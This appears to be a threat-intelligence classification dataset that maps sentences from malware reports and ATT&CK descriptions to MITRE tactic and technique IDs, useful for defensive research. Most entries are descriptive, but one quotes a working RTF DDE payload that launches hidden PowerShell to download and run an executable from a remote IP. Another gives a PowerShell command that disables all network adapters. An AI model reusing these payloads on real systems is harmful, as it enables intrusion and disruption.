madox81/Adema_ATTACK_DS huggingface dataset:
Input: Consider disabling auto-mounting of disk image files (, .iso, .img, .vhd, and .vhdx).

Tactics: TA0005
Techniques: T1553, T1553.005
Input: Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.

Tactics: TA0003
Techniques: T1505.003, T1505
Input: Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.

Tactics: TA0042
Techniques: T1584, T1584.005
Input: Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

Tactics: TA0006, TA0009
Techniques: T1056.001, T1056
Input: HAFNIUM has used TCP for C2.

Tactics: TA0011
Techniques: T1095
Input: During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample

Tactics: TA0011
Techniques: T1105
Input: Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

Tactics: TA0003, TA0004
Techniques: T1037
Input: Koadic can identify logged in users across the domain and views user sessions.

Tactics: TA0007
Techniques: T1033
Input: HAFNIUM has used ASCII encoding for C2 traffic.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products.

Tactics: TA0005
Techniques: T1562.001, T1562
Input: This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.

Tactics: TA0040
Techniques: T1486
Input: Uroburos is a rootkit used by Turla.

Tactics: TA0005
Techniques: T1014
Input: Cobalt Group has used Registry Run keys for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Leviathan used ssh for internal reconnaissance.

Tactics: TA0008
Techniques: T1021, T1021.004
Input: Cloud providers may have different ways in which their virtual networks operate.

Tactics: TA0007
Techniques: T1049
Input: The file will be inflated in order to retrieve a RTF document, this document will be displayed to the infected user by executing Wordpad.Here is the PDB path from the PoohMilk sample:E:\BIG_POOH\Project\milk\Release\milk.pdbFreenki SampleThe purpose of Freenki is to collect information on the infected system and to download a third executable

Tactics: TA0007, TA0011
Techniques: T1082, T1105
Input: APT38 has used a command-line tunneler, NACHOCHEESE, to give them shell access to a victim’s machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Javali can use DLL side-loading to load malicious DLLs into legitimate executables.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.002, T1574
Input: ROKRAT can collect host data and specific file types.

Tactics: TA0009
Techniques: T1005
Input: Dragonfly has used the command line for execution.

Tactics: TA0002
Techniques: T1059
Input: Month File Name or Decoy Document Theme Suspected Target Region   Nov 2017 The NSA Telenor.doc Unknown Pakistan   Oct 2017 Circulars.doc dollar.doc Pakistan Federal Investigation Agency CV of Middle Eastern Civil Servant Turkey Pakistan     Sep 2017 Iraq National Intelligence Service Kaspersky Security solution 2017.doc Iraq  Aug 2017 Arab Emirate سری.docm Iraq Commission of Integrity Arab Emirates  Jul 2017 Requirements of the Sago.doc CommIT-Document.doc Confidential letters.doc Saudi Arabia Arab Emirates Pakistan   Jun 2017 Iraq Kurdistan Regional Government RFP_VOIP.doc Iraq  May 2017 RFP.doc Requirement.doc Iraq Kurdistan Regional Government Georgia Iraq   Mar 2017 court.doc Georgia   Feb 2017 CERT-Audit-20172802-GEO.xls Georgia  Table 1 – Examples of the lure documents observed in the MuddyWater attacks

Tactics: TA0002, TA0007, TA0011
Techniques: T1203, T1090.003, T1083, T1090
Input: Silence has named its backdoor "WINWORD.exe".

Tactics: TA0005
Techniques: T1036.005, T1036
Input: xCaon has uploaded files from victims' machines.

Tactics: TA0009
Techniques: T1005
Input: IndigoZebra has downloaded additional files and tools from its C2 server.

Tactics: TA0011
Techniques: T1105
Input: Meanwhile, injection and delivery techniques are undergoing changes in 2018 with reflective loaders and code enhancements

Tactics: TA0004, TA0005
Techniques: T1055
Input: auditpol.exe may also be used to set audit policies.

Tactics: TA0005
Techniques: T1562.002, T1562
Input: When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.

Tactics: TA0010
Techniques: T1029
Input: EVILNUM can obtain the computer name from the victim's system.

Tactics: TA0007
Techniques: T1082
Input: KONNI used PowerShell to download and execute a specific 64-bit version of the malware.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session.

Tactics: TA0008
Techniques: T1563.002, T1563
Input: Okrum was seen using NetSess to discover NetBIOS sessions.

Tactics: TA0007
Techniques: T1049
Input: Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.

Tactics: TA0006
Techniques: T1003
Input: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature.

Tactics: TA0005
Techniques: T1027
Input: When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms

Tactics: TA0007
Techniques: T1518.001, T1518
Input: MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.

Tactics: TA0005
Techniques: T1127.001, T1127
Input: Adversaries may generate these credential materials in order to gain access to web resources.

Tactics: TA0006
Techniques: T1606
Input: Windshift has used malware to identify installed software.

Tactics: TA0007
Techniques: T1518
Input: Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.

Tactics: TA0011
Techniques: T1219
Input: RemoteUtilities can enumerate files and directories on a target machine.

Tactics: TA0007
Techniques: T1083
Input: MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.

Tactics: TA0007
Techniques: T1083
Input: Volgmer can execute commands on the victim's machine.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Chimera has gathered the SYSTEM registry and ntds.dit files from target systems.

Tactics: TA0006
Techniques: T1003.003, T1003
Input: The group has also used PowerShell to perform Timestomping.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Meteor has the ability to discover the hostname of a compromised host.

Tactics: TA0007
Techniques: T1082
Input: Pupy uses PsExec to execute a payload or commands on a remote host.

Tactics: TA0002
Techniques: T1569.002, T1569
Input: HotCroissant has the ability to hide the window for operations performed on a given file.

Tactics: TA0005
Techniques: T1564.003, T1564
Input: Adversaries may search in different online sites depending on what information they seek to gather.

Tactics: TA0043
Techniques: T1593
Input: Azorult can delete files from victim machines.

Tactics: TA0005
Techniques: T1070, T1070.004
Input: Adversaries may execute active reconnaissance scans to gather information that can be used during targeting.

Tactics: TA0043
Techniques: T1595
Input: For example:* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key.

Tactics: TA0004, TA0005
Techniques: T1548.002, T1548
Input: VNC differs from Remote Desktop Protocol as VNC is screen-sharing software rather than resource-sharing software.

Tactics: TA0008
Techniques: T1021.005, T1021
Input: APT32 used Outlook Credential Dumper to harvest credentials stored in Windows registry.

Tactics: TA0006
Techniques: T1552, T1552.002
Input: This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.

Tactics: TA0003, TA0005
Techniques: T1542
Input: Shamoon creates a new service named "ntssrv" that attempts to appear legitimate; the service's display name is "Microsoft Network Realtime Inspection Service" and its description is "Helps guard against time change attempts targeting known and newly discovered vulnerabilities in network time protocols."

Tactics: TA0005
Techniques: T1036.004, T1036
Input: This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.

Tactics: TA0011
Techniques: T1568.001, T1568
Input: By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.

Tactics: TA0003, TA0004
Techniques: T1546.003, T1546
Input: LightNeuron has the ability to download and execute additional files.

Tactics: TA0011
Techniques: T1105
Input: Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection strings or known payloads.

Tactics: TA0001
Techniques: T1190
Input: APT29 has used RDP sessions from public-facing systems to internal servers.

Tactics: TA0008
Techniques: T1021.001, T1021
Input: BLACKCOFFEE has the capability to enumerate files.

Tactics: TA0007
Techniques: T1083
Input: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility.

Tactics: TA0005
Techniques: T1218, T1218.004
Input: Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS.

Tactics: TA0003, TA0005
Techniques: T1542.002, T1542
Input: SOUNDBITE is capable of modifying the Registry.

Tactics: TA0005
Techniques: T1112
Input: TeamTNT has also used libprocesshider to modify /etc/ld.so.preload.

Tactics: TA0007
Techniques: T1049
Input: Dragonfly has created accounts disguised as legitimate backup and service accounts as well as an email administration account.

Tactics: TA0005
Techniques: T1036
Input: Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).

Tactics: TA0043
Techniques: T1597.002, T1597
Input: Silence has used PowerShell to download and execute payloads.

Tactics: TA0002
Techniques: T1059.001, T1059
Input: Bonadan has discovered the username of the user running the backdoor.

Tactics: TA0007
Techniques: T1033
Input: By the end of 2017, a threat group used Invoke-PSImage to hide PowerShell commands in an image file (.png) and execute the code on a victim's system.

Tactics: TA0005
Techniques: T1027.003, T1027
Input: Avaddon uses registry run keys for persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: NETWIRE has the ability to compress archived screenshots.

Tactics: TA0009
Techniques: T1560
Input: Consider enabling audit features that can log malicious startup activities.

Tactics: TA0003
Techniques: T1505.001, T1505
Input: xCaon has used Base64 to encode its C2 traffic.

Tactics: TA0011
Techniques: T1132.001, T1132
Input: PUNCHBUGGY can gather user names.

Tactics: TA0007
Techniques: T1087, T1087.001
Input: EKANS has been disguised as update.exe to appear as a valid executable.

Tactics: TA0005
Techniques: T1036.005, T1036
Input: The MBR passes control of the boot process to the VBR.

Tactics: TA0003, TA0005
Techniques: T1542.003, T1542
Input: for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.013, T1574
Input: InvisiMole can place a lnk file in the Startup Folder to achieve persistence.

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: USBferry can execute various Windows commands.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Tactics: TA0006
Techniques: T1552.004, T1552
Input: Use the principal of least privilege and protect administrative access to domain trusts.

Tactics: TA0004, TA0005
Techniques: T1484, T1484.002
Input: Figure 5 HTTP POST request to obtain an OAUTH access token Figure 5 shows that the Trojan then uses the following regular expression to obtain the access token from the HTTP response: \”access_token\”:(.*) Once authenticated with a valid access token, the Trojan will attempt to upload a file to the Google Drive account

Tactics: TA0004, TA0005, TA0011
Techniques: T1071, T1134
Input: Mis-Type runs tests to determine the privilege level of the compromised user.

Tactics: TA0007
Techniques: T1033
Input: Flagpro has been distributed via spearphishing as an email attachment.

Tactics: TA0001
Techniques: T1566, T1566.001
Input: LoudMiner has monitored CPU usage.

Tactics: TA0007
Techniques: T1082
Input: Monitor for newly executed processes, such as setx.exe, that may abuse of the COR_PROFILER variable, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.

Tactics: TA0003, TA0004, TA0005
Techniques: T1574.012, T1574
Input: Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment.

Tactics: TA0003, TA0004
Techniques: T1547.013, T1547
Input: REvil can use the Windows command line to delete volume shadow copies and disable recovery.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Consider removing verclsid.exe if it is not necessary within a given environment.

Tactics: TA0005
Techniques: T1218, T1218.012
Input: Train users to identify social engineering techniques and spearphishing emails that could be used to deliver malicious documents.

Tactics: TA0005
Techniques: T1221
Input: StrongPity has encrypted C2 traffic using SSL/TLS.

Tactics: TA0011
Techniques: T1573, T1573.002
Input: Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.

Tactics: TA0010
Techniques: T1048.002, T1048.003, T1048
Input: Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell –v 2).

Tactics: TA0005
Techniques: T1562.010, T1562
Input: An APT3 downloader uses the Windows command "cmd.exe" /C whoami.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: Monitor for changes made to processes that may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.015
Input: Waterbear can identify the process for a specific security product.

Tactics: TA0007
Techniques: T1057
Input: ObliqueRAT can check for blocklisted usernames on infected endpoints.

Tactics: TA0007
Techniques: T1033
Input: On Linux and Mac, users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name.

Tactics: TA0005
Techniques: T1564, T1564.001
Input: Javali can read C2 information from Google Documents and YouTube.

Tactics: TA0011
Techniques: T1102.001, T1102
Input: CostaRicto has used a layer of proxies to manage C2 communications.

Tactics: TA0011
Techniques: T1090.003, T1090
Input: MobileOrder exfiltrates data collected from the victim mobile device.

Tactics: TA0009
Techniques: T1005
Input: Configuration Decryption:  Another small, but same important function in the photo above, is the function for decrypting the data containing the C&C configuration

Tactics: TA0005
Techniques: T1140
Input: Some InnaputRAT variants create a new Windows service to establish persistence.

Tactics: TA0003, TA0004
Techniques: T1543.003, T1543
Input: Figure 1 – The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread

Tactics: TA0005
Techniques: T1140
Input: Kimsuky has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Proxysvc collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.

Tactics: TA0007
Techniques: T1082
Input: MoonWind can execute commands via an interactive command shell.

Tactics: TA0002
Techniques: T1059.003, T1059
Input: FinFisher injects itself into various processes depending on whether it is low integrity or high integrity.

Tactics: TA0004, TA0005
Techniques: T1055, T1055.001
Input: Figure 6 Example of delivery document The RTF document (8cf3bc2bf…) was very small in size at 264 bytes, which can be seen in its entirety here:       {\rtf1{\field{\*\fldinst DDEAUTO "C:\\\\WIndowS\\\\SYsTem32\\\\cMD.eXe " "/C	POWErsHELl.eXE  -ex     BypaSs  -NOP	-w      HIdDen  (NEw-oBjeCT SyStEm.NET.weBCLiENT).dowNloADFILe( 'hxxp://86.106.131[.]177/link/GRAPH.EXE'  ,       '%apPDAtA%\graph.exe'   )   ;       saps    '%Appdata%\graph.exe'"}}}     The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload

Tactics: TA0004, TA0005
Techniques: T1055.012, T1055
Input: Monitor for newly constructed user accounts, such as userIDs under 500 on macOS, that may mask the presence of user accounts they create or modify.

Tactics: TA0005
Techniques: T1564.002, T1564
Input: Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.

Tactics: TA0042
Techniques: T1608.005, T1608
Input: FIN8 has used valid accounts for persistence and lateral movement.

Tactics: TA0001, TA0003, TA0004, TA0005
Techniques: T1078
Input: Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts

Tactics: TA0003, TA0004
Techniques: T1547.001, T1547
Input: Wizard Spider has used scheduled tasks establish persistence for TrickBot and other malware.

Tactics: TA0002, TA0003, TA0004
Techniques: T1053.005, T1053
Input: Monitor for anomalous Kerberos activity, such as enabling Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests.

Tactics: TA0006
Techniques: T1558.003, T1558
Input: Wizard Spider has used "systeminfo" and similar commands to acquire detailed configuration information of a victim machine.

Tactics: TA0007
Techniques: T1082
Input: APT33 has lured users to click links to malicious HTML applications delivered via spearphishing emails.

Tactics: TA0002
Techniques: T1204, T1204.001
Input: OwaAuth web shell command set

Tactics: TA0003
Techniques: T1505.003, T1505
Input: If there are keys for the string encryption with the XOR algorithm, the configuration data will be also encrypted with the XOR algorithm

Tactics: TA0005, TA0011
Techniques: T1573, T1027
Input: KeyBoy time-stomped its DLL in order to evade detection.

Tactics: TA0005
Techniques: T1070, T1070.006
Input: Crimson contains a command to perform screen captures.

Tactics: TA0009
Techniques: T1113
Input: Ebury can deactivate PAM modules to tamper with the sshd configuration.

Tactics: TA0003, TA0005, TA0006
Techniques: T1556.003, T1556
Input: PoetRAT used TLS to encrypt communications over port 143

Tactics: TA0011
Techniques: T1571
Input: Kimsuky has registered domains to spoof targeted organizations and trusted third parties.

Tactics: TA0042
Techniques: T1583.001, T1583
Input: Conficker uses the current UTC victim system date for domain generation and connects to time servers to determine the current date.

Tactics: TA0007
Techniques: T1124
Input: Meteor can disconnect all network adapters on a compromised host using powershell -Command "Get-WmiObject -class Win32_NetworkAdapter | ForEach { If ($.NetEnabled) { $.Disable() } }" > NUL.

Tactics: TA0040
Techniques: T1489
Input: Adversaries may forge web cookies that can be used to gain access to web applications or Internet services.

Tactics: TA0006
Techniques: T1606, T1606.001
Input: Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority.

Tactics: TA0042
Techniques: T1588, T1588.003
Input: NanHaiShu can download additional files from URLs.

Tactics: TA0011
Techniques: T1105
Input: LaZagne can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.

Tactics: TA0006
Techniques: T1555.003, T1555
Input: Risks of additional exploits and weaknesses in those systems may still exist.

Tactics: TA0002
Techniques: T1203
Input: Spark can collect the hostname, keyboard layout, and language from the system.

Tactics: TA0007
Techniques: T1082
Input: Doki has used Ngrok to establish C2 and exfiltrate data.

Tactics: TA0010
Techniques: T1041
Input: Monitor email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing attacks.

Tactics: TA0008
Techniques: T1534
Input: Remcos uses RC4 and base64 to obfuscate data, including Registry entries and file paths.

Tactics: TA0005
Techniques: T1027
Input: XCSSET uses scp to access the ~/Library/Cookies/Cookies.binarycookies file.

Tactics: TA0006
Techniques: T1539
Input: Also consider comparing file objects loaded in memory to the corresponding file on disk.

Tactics: TA0004, TA0005
Techniques: T1055.013, T1055
Input: Grandoreiro can detect VMWare via its I/O port and Virtual PC via the vpcext instruction.

Tactics: TA0005, TA0007
Techniques: T1497, T1497.001
Input: Some variants of Emissary use various XOR operations to encrypt C2 data.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Lucifer can perform a decremental-xor encryption on the initial C2 request before sending it over the wire.

Tactics: TA0011
Techniques: T1573, T1573.001
Input: Lazarus Group replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a Disk Structure Wipe.

Tactics: TA0040
Techniques: T1491.001, T1491
Input: Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.

Tactics: TA0003, TA0004
Techniques: T1543.001, T1543
Input: Pandora can write an encrypted token to the Registry to enable processing of remote commands.

Tactics: TA0005
Techniques: T1112
Input: Agent Tesla has had its code obfuscated in an apparent attempt to make analysis difficult.

Tactics: TA0005
Techniques: T1027
Input: PoshC2 can enumerate network adapter information.

Tactics: TA0007
Techniques: T1016